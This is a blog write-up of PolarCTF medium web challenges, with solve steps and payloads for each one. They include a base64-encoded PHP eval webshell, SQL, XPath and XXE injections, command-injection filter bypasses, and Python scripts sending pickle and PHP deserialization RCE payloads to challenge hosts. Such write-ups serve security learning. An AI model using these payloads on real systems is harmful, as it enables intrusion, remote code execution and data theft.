polar靶场-MISC,WEB(中等)

WEB

到底给不给flag呢
复制代码
<meta http-equiv='Content-Type' content='text/html; charset=utf-8' />
<?php
highlight_file('1.txt');
echo "<br><br>";

$flag = 'flag{f73da0c8e7c774d488a6df0fec2890d9}';
$qwq= '我想要flag';
$QAQ = '我又不想要flag了,滚吧';
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($qwq);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
    exit($QAQ);
}

foreach ($_POST as $key => $value) {
    $$key = $value;
}

foreach ($_GET as $key => $value) {
    $$key = $$value;
}

echo $flag;

这一题考察变量覆盖,题目给的flag是假的,并且必须要传入一个flag变量,否则会执行exit($qwq),这是使用的是&&,与就是说get和post至少有一个flag参数的传参就会绕过exit语句,这里先用get举例,这里传入?flag=qwq,

此时满足$_GET['flag'],并且参数值不是flag,然后进行foreach,

这里key=flag,vallue=qwq,$$key=flag,value=qwq=我想要flag

key=flag=$$value=$qwq=我想要flag

那么最后输出的flag就是我想要flag

到这里就有第一种解法,get传参 ?a=flag&flag=a;

前两个if语句就绕过了,也没有post传参,直接进行get的foreach

有两个

key=a ,value=flag

key=$$value就成了 $a=$flag key=flag ,value=a $$key=$$value就成了 $flag=$a,此时$a的值就是flag赋值给$flag 最后输出$flag得到flag![](https://i-blog.csdnimg.cn/direct/04a3bb05a7ef46899f8a72c24fd9fdce.png) 注意这里顺序不能乱,由于$a的值为空,会导致最后输出的$flag为空 然后还有一种比较高级的方法, get ?flag=a post _GET\['flag'\]=flag 先了解一下表单字段名与 PHP 的解析规则,get传参在本题中?flag=a会被解析成 $_GET\['flag'\] === 'a' 在常规的post传参中比如 a=b,会被解析为 会被解析为 `$_POST['a'] === 'b'` 键名包含方括号 \[\] 时,它会自动解析为嵌套数组,而不是简单字符串键 `a[b]=v` → `$_POST['a']['b'] === 'v'`。 支持任意层级:`a[b][c]=v` → `$_POST['a']['b']['c'] === 'v'`。 空键表示数组追加:`arr[]=x&arr[]=y` → `$_POST['arr'] === ['x','y']`。 那么_GET\['flag'\]=flag就会被解析为 $_POST\['_GET'\]\['flag'\] = 'flag' $_POST = [ '_GET' => [ // 顶层键 '_GET' 'flag' => 'flag' // 子键 'flag' 的值为 'flag' ] ]; 脚本刚开始 超全局 `$_GET` = `['flag' => 'a']` 超全局 `$_POST` = `['_GET' => ['flag' => 'flag']]` 易知这两个参数能够绕过if语句,然后是 foreach ($_POST as $key => $value) { $$key = $value; } 首先键是**$key=_GET, $value= \['flag'='flag'\]** 那么$$key=$_GET 是超全局变量,$$key=$value,此时`$_GET` = `['flag' => 'flag'],就修改了超全局变量,然后进行下一步` foreach ($_GET as $key => $value) { $$key = $$value; } 然后到这里$key=flag,$value=flag $flag=$flag 然后就输出flag. ##### 写shell 经典死亡绕过,这里使用base64编码绕过 filename=php://filter/write=convert.base64-decode/resource=shell.php content= aPD9waHAgZXZhbCgkX1BPU1RbJzEnXSk7Pz4= 写入后就可以进行rce ![](https://i-blog.csdnimg.cn/direct/27a52fa65d0d4deb850a37985c5350eb.png) 利用base64编码,将死亡代码解析成为乱码,使得PHP引擎无法识别 filename=php://filter/convert.base64-decode/resource=shell.php content=aPD9waHAgZXZhbCgkX1BPU1RbJzEnXSk7Pz4=​ (PD9waHAgZXZhbCgkX1BPU1RbJzEnXSk7Pz4=​ base64解码\​) 在base64解码过程中,\<\>?""这些符号无法被解码所以会直接绕过,解码的只有phpexit这7个字符,所以在content中衔接一个a,构成8个字符,base64在解码的时候,是4个字节转化为3个字节,又因为死亡代码只有phpexit着7个字节参与了解码,所以补上一位就可以完全转化,转换后死亡代码就是乱码,而后面的代码解码后就是木马。 ![](https://i-blog.csdnimg.cn/direct/b0a145693b7840d29cc98f0b476d76e9.png) ##### 注入 这一关主要考察XPATH注入,之前没接触过,相关知识点可以看[xpath注入详解 - 渗透测试中心 - 博客园](https://www.cnblogs.com/backlion/p/8554749.html "xpath注入详解 - 渗透测试中心 - 博客园") 就是用万能密码 ?id='\]\|//\*\|//\*\[' ##### **某函数的复仇** 根据题目提示是应该是要使用某个php代码执行函数,看wp才知道用create_function $shaw('',$root),表明第一个参数为空 create_function() 是 PHP 中一个用于动态创建匿名函数的内置函数,不过需要注意的是,这个函数在 PHP 7.2.0 中已被废弃,并且在 PHP 8.0.0 中被移除。现在更推荐使用匿名函数(闭包)语法来替代它。 create_function(string $args, string $code): string 第一个参数是空字符串(函数的参数列表为空)。 第二个参数是`$root`,即我们传入的字符串会作为函数体。 function anonymous() { 函数体 } payload root=;}system('ca\\t /f\*');/\* shaw=create_function 这样就等价 function anonymous() { ;}system('ca\t /f*');/* } ;}闭合前面的函数,然后是system函数,最后注释掉后面的}完成闭合 ##### xxe 根据题目提示就是考察xxe了,题目给了phpinfo,然后就没啥能干的了,dirsearch扫一下有个dom.php可以访问,得到报错信息 Warning: DOMDocument::loadXML(): Empty string supplied as input in /var/www/html/dom.php on line 5 DOMDocument Object ( [doctype] => [implementation] => (object value omitted) [documentElement] => [actualEncoding] => [encoding] => [xmlEncoding] => [standalone] => 1 [xmlStandalone] => 1 [version] => 1.0 [xmlVersion] => 1.0 [strictErrorChecking] => 1 [documentURI] => [config] => [formatOutput] => [validateOnParse] => [resolveExternals] => [preserveWhiteSpace] => 1 [recover] => [substituteEntities] => [nodeName] => #document [nodeValue] => [nodeType] => 9 [parentNode] => [childNodes] => (object value omitted) [firstChild] => [lastChild] => [previousSibling] => [nextSibling] => [attributes] => [ownerDocument] => [namespaceURI] => [prefix] => [localName] => [baseURI] => [textContent] => ) `loadXML()`方法的作用是从字符串加载 XML 内容并解析,如果传入的字符串为空,就会触发这个警告,因为无法解析空内容生成 XML 文档 随便传一个根节点\\ ![](https://i-blog.csdnimg.cn/direct/947a64ddfa054906a3802dc93978ec28.png) 成功解析,这就可以构造payload读取flag ]> &file; ##### SSTI 根据题目提示知道是模板注入,先测试一下 ?name={{7\*7}} 回显49,jinja2模板,fenjing直接一把梭 ![](https://i-blog.csdnimg.cn/direct/3c6f9ff5b20146b7888adce419b78573.png) ##### unpickle ai写个脚本就行了 import pickle import base64 import requests import sys # 目标URL - 改为 HTTP 以避免 SSL 错误(端口 8090 很可能未启用 HTTPS) url = "http://33f7ff79-3990-4951-bc71-fd78ffaa6414.www.polarctf.com:8090" # 如果没有提供命令作为参数,使用默认的 'cat /flag.txt' if len(sys.argv) > 1: command = ' '.join(sys.argv[1:]) else: command = "cat /flag*" print(f"使用默认命令: {command}") print("用法: python script.py 'your_command_here'") # 定义恶意类,用于pickle反序列化时执行shell命令 class R(object): def __reduce__(self): # 执行shell命令并返回输出 return (eval, ('__import__("os").popen("{}").read()'.format(command),)) # 生成payload data = pickle.dumps(R()) encoded = base64.b64encode(data).decode('utf-8') print(f"生成的Cookie值: {encoded}") # 发送请求 - 使用 HTTP cookies = {'user': encoded} try: response = requests.get(url, cookies=cookies, timeout=10, verify=False) # verify=False 以防任何证书问题 print("响应内容:") print(response.text) except requests.exceptions.RequestException as e: print(f"请求失败: {e}") print("尝试手动使用 curl: curl -b 'user={encoded}' http://33f7ff79-3990-4951-bc71-fd78ffaa6414.www.polarctf.com:8090".format(encoded=encoded)) ##### BlackMagic import requests import re import urllib.parse # 目标URL url = "http://9acda7f8-e7ee-4063-984e-99157d2643e4.www.polarctf.com:8090/BlackMagic.php" # 第一步:获取页面源代码 response = requests.get(url) if response.status_code != 200: print(f"无法访问页面: {response.status_code}") exit(1) html = response.text # 第二步:提取HTML注释中的PHP代码 comment_match = re.search(r'', html, re.DOTALL) if not comment_match: print("未找到PHP代码注释") print("页面内容:", html) # 调试输出 exit(1) php_code = comment_match.group(1) # 第三步:提取 $strCharList charlist_match = re.search(r'\$strCharList\s*=\s*"(.*?)";', php_code, re.DOTALL) if not charlist_match: print("未找到 $strCharList") exit(1) raw_charlist = charlist_match.group(1) # 解析PHP转义序列(基本转义) charlist = raw_charlist.replace(r'\r', '\r').replace(r'\n', '\n').replace(r'\0', '\0').replace(r'\x0B', '\x0B').replace('\\\\', '\\').replace(r'\"', '"') # 第四步:提取 $strFlag flag_match = re.search(r'\$strFlag\s*=\s*"(.*?)";', php_code, re.DOTALL) if not flag_match: print("未找到 $strFlag") exit(1) raw_flag = flag_match.group(1) # 解析PHP转义序列 str_flag = raw_flag.replace(r'\r', '\r').replace(r'\n', '\n').replace(r'\0', '\0').replace(r'\x0B', '\x0B').replace('\\\\', '\\').replace(r'\"', '"') # 第五步:实现trim功能(PHP trim移除指定字符,从两端) char_set = set(charlist) def php_trim(s, chars): char_set = set(chars) # 从开头移除 start = 0 while start < len(s) and s[start] in char_set: start += 1 # 从结尾移除 end = len(s) while end > start and s[end - 1] in char_set: end -= 1 return s[start:end] str_content = php_trim(str_flag, charlist) print(f"提取到的trim后内容: {repr(str_content)}") # repr 显示隐藏字符 # 第六步:发送exploit请求 exploit_params = {'strTmp': str_content} exploit_response = requests.get(url, params=exploit_params) print("Exploit响应:") print(exploit_response.text) ##### 反序列化 import requests import urllib.parse # 目标URL(替换为实际地址) url = "http://51b6d2b0-fe67-4874-9588-2ebbfbabdf64.www.polarctf.com:8090/" # 命令(可自定义:ls、cat flag.txt 等) command = "env" # 或 "ls" 测试 # 构造恶意代码 malicious_code = f"system('{command}');" code_length = len(malicious_code) # 生成序列化 payload payload = ( f'O:7:"example":1:{{s:6:"handle";O:7:"process":1:{{s:3:"pid";s:{code_length}:"{malicious_code}";}}}}' ) # URL 编码 encoded_payload = urllib.parse.quote(payload) # 完整 URL full_url = f"{url}?data={encoded_payload}" print(f"Payload: {payload}") print(f"Encoded: {encoded_payload}") print(f"Full URL: {full_url}") # 发送请求 response = requests.get(full_url) print("响应内容:") print(response.text) 这里进行rce后列出目录发现没有flag文件,然后看环境变量,有的是一个错的flag,这个应该是题目问题 ##### 找找shell ##### ![](https://i-blog.csdnimg.cn/direct/e9b6f4a453794a428edabf5a8e68d6fd.png) ai神力,然后蚁剑连接,连不上。扫目录有shell.php。带上shell.php就能连上 ![](https://i-blog.csdnimg.cn/direct/527fa42ae83b411eb2c748ae5781cce5.png) ##### 再来ping一波啊 经典rce题目,经过初步测试过滤了空格,cat ls index,还有/。字符拼接index.php,ca''t绕过cat,$IFS绕过空格 127.0.0.1;a=inde;b=x.php;ca''t$IFS$a$b flag在源码里 ##### wu 经典取反绕过 ?a=(\~%8c%86%8c%8b%9a%92)((\~%93%8c)); ?a=(\~%8C%86%8C%8B%9A%92)((\~%9c%9e%8b%df%85%97%9a%8c%97%96%99%93%9e%98%d1%8f%97%8f)); ##### 代码审计1 然后有文件包含直接访问上传的图片/index.php?file=uploads/a.jpg 然后一蚁剑连接flag在根目录 ##### ezphp 跟上一题很像都是文件上传加文件包含,首先根据页面提示访问robots.txt得到3个路径 ``` Disallow: /file Disallow: /uploads Disallow: /uploads/images ``` 然后上传图片马,上传路径/uploads/images/4.png 然后开始读取文件 在/file/file.php ?filename=../uploads/images/4.png 由于flag不在根目录,并且环境变量的flag是假的,所以用蚁剑连接方便寻找flag,flag在/home/webuser/flag ##### 随机值 Polar1 === $this->Polar2){ $Light = rand(0,100); if($this->Night === $this->Light){ echo $flag; } } else{ echo "Your wrong!!!"; } } } if(isset($_GET['sys'])){ $a = unserialize($_GET['sys']); $a->getflag($flag); } else{ highlight_file("index.php"); } ?> 这一题只需要让4个属性的值相等就行了,因为代码中 $Polar2 = rand(0,100); $Light = rand(0,100);只是赋值给了局部变量,然后在比较时是通过this-\>属性比较属性的值,这里是局部变量的随机值并不影响属性的值因此只要这4个属性的值相等就行,payload ?sys=O%3A5%3A%22Index%22%3A4%3A%7Bs%3A13%3A%22%00Index%00Polar1%22%3Bi%3A0%3Bs%3A13%3A%22%00Index%00Polar2%22%3Bi%3A0%3Bs%3A8%3A%22%00%2A%00Night%22%3Bi%3A0%3Bs%3A8%3A%22%00%2A%00Light%22%3Bi%3A0%3B%7D ##### phpurl 附件给的加密文件名是base64编码,解码是index.phps,访问文件得到代码 Not a good idea!

"); exit(); } $_GET[sys] = urldecode($_GET[sys]); if($_GET[sys] == "xxs") { echo "

Welcome to polar LABS!

"; echo "

Flag: XXXXXXX

"; } ?> what can you find? 这里考查双重编码绕过,xxs双重url编码为%2578%2578%2573,当我们传参后浏览器会自动解码一次变成%78%78%73,通过第一个if,然后urldecode又解码一次通过第二个if ?sys=%2578%2578%2573 ##### search 首先判断为单引号闭合,然后发现有过滤,fuzz测试一下发现过滤了 " like from updatexml infromation_schema 空格 当是经过测试可以用大小写绕过关键字过滤,%09然后空格 query=1'%09Union%09select%091,2,database(),4,5# query=1'%09Union%09select%091,2,group_concat(table_name),4,5%09From%09information_schema.tables%09wHere%09table_schema=database()# query=1'%09Union%09select%091,2,group_concat(column_name),4,5%09From%09information_schema.columns%09wHere%09table_schema=database()# query=1'%09Union%09select%091,2,group_concat(Flag),4,5%09From%09Flag# ##### file 根据提示那就dirsearch一下 ![](https://i-blog.csdnimg.cn/direct/9ff867e17c4342e6a3f0851b35592874.png) 上传php文件后修改为Content-Type:image/jpeg 然后上传,但是我上传后蚁剑连接不上,官方wp就是这么写的,那就换一种方式,还是同样的方式,文件内容改为 \ 上传后就得到flag ![](https://i-blog.csdnimg.cn/direct/1822d9e790314080b4e6d5d37c7434b2.png) ##### PlayGame name."age:".$this->age."sex:".$this->sex; } public function setName($name){ $this->name=$name; } public function setAge($age){ $this->$age=$age; } public function setSex($sex){ $this->$sex=$sex; } } class PlayGame{ public $user; public $gameFile="./game"; public function openGame(){ return file_get_contents($this->gameFile); } public function __destruct() { echo $this->user->name."GameOver!"; } public function __toString(){ return $this->user->name."PlayGame ". $this->user->age . $this->openGame(); } } if(isset($_GET['polar_flag.flag'])){ unserialize($_GET['polar_flag.flag']); }else{ highlight_file(__FILE__); } 简单的链子,poc name."age:".$this->age."sex:".$this->sex; } public function setName($name){ $this->name=$name; } public function setAge($age){ $this->$age=$age; } public function setSex($sex){ $this->$sex=$sex; } } class PlayGame{ public $user; public $gameFile="./game"; public function openGame(){ return 1; //file_get_contents($this->gameFile); } public function __destruct() { echo $this->user->name."GameOver!"; } public function __toString(){ return $this->user->name."PlayGame ". $this->user->age . $this->openGame(); } } $a = new PlayGame(); $a -> user = new User(); $a -> user -> name = new User(); $a -> user -> name -> name = new PlayGame(); $a -> user -> name -> name -> gameFile = '/flag'; echo serialize($a); 然后就是非法传参 当PHP版本小于8​时,如果参数中出现中括号\[​,中括号会被转换成下划线_​,但是会出现转换错误导致接下来如果该参数名中还有非法字符​并不会继续转换成下划线_​,也就是说如果中括号\[​出现在前面,那么中括号\[​还是会被转换成下划线_​,但是因为出错导致接下来的非法字符并不会被转换成下划线_​ 那么最后的payload就是 /?polar\[flag.flag=O:8:"PlayGame":2:{s:4:"user";O:4:"User":3:{s:4:"name";O:4:"User":3:{s:4:"name";O:8:"PlayGame":2:{s:4:"user";N;s:8:"gameFile";s:5:"/flag";}s:3:"age";N;s:3:"sex";N;}s:3:"age";N;s:3:"sex";N;}s:8:"gameFile";s:6:"./game";} flag在源码里 ##### csdn 一眼ssrf,用file协议读取flag文件 ?xxs=file:///flag.txt ##### Dragon 第一眼时sql注入,根据回显以为是ssti,没想到在cookie里 ![](https://i-blog.csdnimg.cn/direct/3e30cf38dd8a43988f3a87da106b85ec.png) 🤡🤡 ##### tnl 这一题我真的吐槽一下出题人了,出的很好下次别出了,都是坑。首先输入以为时sql注入,但是根本就没法下输出大于2后就报错,然后dirsearch扫描 ![](https://i-blog.csdnimg.cn/direct/b0782a4eeb2147ff94a7ae2c6cefcc92.png) 没一个有用的 ![](https://i-blog.csdnimg.cn/direct/8a0c52bb75794c96a50249f2e5b31804.png) 我以为这是啥重要文件类,然后就看wp直接用php伪协议读取index。 php://filter/convert.base64-encode/resource=index 别问为啥不是index.php 看源码我真绷不住了出题人你真是个,这里直接就拼接一个php所以不用后缀,然后就时这个报错时烟雾弹,最后读flag文件就行了 twothree=php://filter/convert.base64-encode/index/resource=flag 这里根据题目要求要含有index ##### 你知道sys还能这样玩吗 ![](https://i-blog.csdnimg.cn/direct/9dd2a1f239364236a772db39c8920c80.png) 这不是我的问题 ##### ExX? 依旧dirsearch起手,有dom.php.一眼xml,这跟xxe一样啊, ]> &file; ##### EZ_Host 我以为是ssrf类试了很久,扫目录![](https://i-blog.csdnimg.cn/direct/a672997d6a1647868ab0440510a4c4ee.png) 直接访问/flag就得到flag ##### 传马 看源码是在前端有检验文件后缀,直接上传图片马修改文件后缀为php,然后就可以rce了 ![](https://i-blog.csdnimg.cn/direct/04dfef37b77845319cd29ed0f73bcebc.png) ##### 笑傲上传 跟上面的差不多,依旧老套路,上传图片马修改后缀,然后有后门文件 上传后直接打开图片得到上传路径upload/4320251111074427.gif,这个因人而异,然后开始文件包含,这里是绝对路经/var/www/html/upload/4320251111074427.gif 然后就进行rce ![](https://i-blog.csdnimg.cn/direct/a59fb946724643209af111cd6d88244f.png) ##### 序列一下 lt; $a($this->b); } } unserialize($_POST['x']); highlight_file(__FILE__); ?> 从这段 PHP 代码来看,它定义了一个`Polar`类,其中包含`__destruct`魔术方法。当`Polar`类的实例被销毁时,`__destruct`方法会被调用,该方法会将成员变量`lt`作为函数,并传入成员变量`b`作为参数来执行。 x=O:5:"Polar":3:{s:3:"url";s:12:"polarctf.com";s:2:"lt";s:6:"system";s:1:"b";s:7:"cat /f\*";} ##### 坏掉的上传页 这里上传表单不能上传,那就自己写一个 文件上传表单

文件上传



然后上传文件,上传成功后显示 ![](https://i-blog.csdnimg.cn/direct/e3bcfe3bd34948f2b9e21984704d7313.png) dirsearch扫目录 ![](https://i-blog.csdnimg.cn/direct/d475d6e9a42849fa8fe823cdf8f9496b.png) 访问后 访问database.db文件得到上传路径 ``` 2025-11-11 08:14:28 上传文件路径: ./uploadsabc/file_6912f0648f88b7.54977134.php ``` 访问蚁剑连接 flag在/var/www/html/flag{???}文件中 ##### xxmmll dirsearch扫目录,访问文件 ##### ![](https://i-blog.csdnimg.cn/direct/ae4abe8d272f4ef78c07ecab652901cd.png) ##### Note 扫目录 ![](https://i-blog.csdnimg.cn/direct/a67e623ceffd4e609ec08d976e9dad06.png) 访问flag.txt得到flag ##### 赌王 首先抓包爆破当摇到三个一样的 ![](https://i-blog.csdnimg.cn/direct/30f2d774c1ac48a785c1e1572c809021.png) 然后访问ed3d2c21991e3bef5e069713af9fa6ca.php 然后进入以下页面 ![](https://i-blog.csdnimg.cn/direct/b4f464b5fed2493abea521294cb3d0f1.png) 在系统能接受范围内无论输入什么都会比输入的大1,然后测试xss ``` ``` ![](https://i-blog.csdnimg.cn/direct/4edae6fc962a478da11a8c796da66898.png) confirm也是弹窗函数 \confirm(1)\ 得到进入下一关的地址 然后在源码有提示 ![](https://i-blog.csdnimg.cn/direct/a603e7f16fc84044abba74dcb429e82a.png) 随波逐流分析 ![](https://i-blog.csdnimg.cn/direct/08c5e236a93e461983b2eb60f180cc0b.png) 有地址和4个1联想到xff伪造 x-forward-for:XXF头,代表请求端的ip,可以有多个逗号隔开。 X-Forward-For:1.1.1.1 当不添加时执行命令回显权限不足,然后抓包添加数据命令执行 ![](https://i-blog.csdnimg.cn/direct/076c3863b4974dc895399f4d0169e9df.png) ##### 复读机RCE 尝试执行命令但是一直回显不能说那就echo echo \`ls /\` echo \`cat /flag\` ##### xCsMsD 先注册然后登入,抓包看信息 ![](https://i-blog.csdnimg.cn/direct/f959767fab2f478e8a89d4b6fcda053c.png) 这在cookie有个替换空格换成-,/换成\\,那么命令就成了ls-\\ ![](https://i-blog.csdnimg.cn/direct/373c72526e9e4ede9cf598d8060bdb32.png) cat-\\flag cat 被过滤了用tac ##### coke的登陆 coke??小猫老弟。先看提示账号时coke,还有result.php,没法访问。然后账号时coke,密码时cookie:coke-lishuai 登入后flag在源码里 ##### bllbl_rce 尝试了很多命令绕过命令都是no,然后扫目录有/admin/admin.php,可以下载备份文件 Command Query Tool

Command Query Tool

"; system ($command); echo ""; } ?> 执行的命令要包含bllbl,那就可以构造payload了 bllbl; ls / bllbl;cat /flag ##### 狗黑子的隐藏 看源码得知有隐藏的输入框,直接抓包就行,初步尝试后发现有过滤过滤了 / cat index 那就读取index.php了 ca''t i''n''d''e''x.php 看wp得知可以写如一句话木马cmd=echo '\' \> a.php 然后蚁剑连接 ##### 真假ECR /i", $cmd)) { echo("想要什么直接访问试试呢"); exit; } system($cmd); ?> 审题啊!. 过滤了很多,但是\\没有过滤, l\\s / ca\\t /fla\\g 这是非预期解了,预期解做法参考[https://sauy.top/2025/06/29/2025%E5%B9%B4%E5%A4%8F%E5%AD%A3%E4%B8%AA%E4%BA%BA%E6%8C%91%E6%88%98%E8%B5%9BPolarCTF-WEB/#%E7%9C%9F%E5%81%87ECR](https://sauy.top/2025/06/29/2025%E5%B9%B4%E5%A4%8F%E5%AD%A3%E4%B8%AA%E4%BA%BA%E6%8C%91%E6%88%98%E8%B5%9BPolarCTF-WEB/#%E7%9C%9F%E5%81%87ECR "https://sauy.top/2025/06/29/2025%E5%B9%B4%E5%A4%8F%E5%AD%A3%E4%B8%AA%E4%BA%BA%E6%8C%91%E6%88%98%E8%B5%9BPolarCTF-WEB/#%E7%9C%9F%E5%81%87ECR") [2025年夏季个人挑战赛PolarCTF-WEB - Sauy's corner](https://sauy.top/2025/06/29/2025%E5%B9%B4%E5%A4%8F%E5%AD%A3%E4%B8%AA%E4%BA%BA%E6%8C%91%E6%88%98%E8%B5%9BPolarCTF-WEB/#%E7%9C%9F%E5%81%87ECR "2025年夏季个人挑战赛PolarCTF-WEB - Sauy's corner") ##### nukaka_ser2 "; public function __toString() { if (file_exists('/flag')) { return file_get_contents('/flag'); } else { return "Flag file not found!"; } } } class DataValidator { public static function check($input) { $filtered = preg_replace('/[^\w]/', '', $input); return strlen($filtered) > 10 ? true : false; } public function __invoke($data) { return self::check($data); } } class FakeDanger { private $buffer; public function __construct($data) { $this->buffer = base64_encode($data); } public function __wakeup() { if (rand(0, 100) > 50) { $this->buffer = str_rot13($this->buffer); } } } class VulnerableClass { public $logger; private $debugMode = false; public function __destruct() { if ($this->debugMode) { echo $this->logger; } else { $this->cleanup(); } } private function cleanup() { if ($this->logger instanceof DataValidator) { $this->logger = null; } } } function sanitize_input($data) { $data = trim($data); return htmlspecialchars($data, ENT_QUOTES); } if(isset($_GET['data'])) { $raw = base64_decode($_GET['data']); if (preg_match('/^[a-zA-Z0-9\/+]+={0,2}$/', $_GET['data'])) { unserialize($raw); } } else { highlight_file(__FILE__); } ?> unserialize → 结束时 destruct → debugMode=true → echo logger → toString 读 flag TzoxNToiVnVsbmVyYWJsZUNsYXNzIjoyOntzOjY6ImxvZ2dlciI7TzoxMDoiRmxhZ1JlYWRlciI6Mjp7czoxOToiAEZsYWdSZWFkZXIAbG9nZmlsZSI7TjtzOjEwOiIAKgBjb250ZW50IjtOO31zOjI2OiIAVnVsbmVyYWJsZUNsYXNzAGRlYnVnTW9kZSI7YjoxO30= ##### 你也玩铲吗 登入注册后得到提示 |---------------------------------------------------------------------| | \
相关推荐
朴shu1 小时前
揭秘高性能协同白板:轻松实现多人实时协作(一)
前端·设计模式·架构
2301_816073832 小时前
SELinux 学习笔记
linux·运维·前端
秋天的一阵风2 小时前
😱一行代码引发的血案:展开运算符(...)竟让图表功能直接崩了!
前端·javascript·vue.js
Hilaku2 小时前
npm scripts的高级玩法:pre、post和--,你真的会用吗?
前端·javascript·vue.js
申阳2 小时前
Day 12:09. 基于Nuxt开发博客项目-使用NuxtContent构建博客模块
前端·后端·程序员
合作小小程序员小小店2 小时前
web网页开发,在线短视频管理系统,基于Idea,html,css,jQuery,java,springboot,mysql。
java·前端·spring boot·mysql·vue·intellij-idea
n***29322 小时前
前端动画性能优化,减少重绘重排
前端·性能优化
mCell2 小时前
React 如何处理高频的实时数据?
前端·javascript·react.js
Lsx_2 小时前
一文读懂 Uniapp 小程序登录流程
前端·微信小程序·uni-app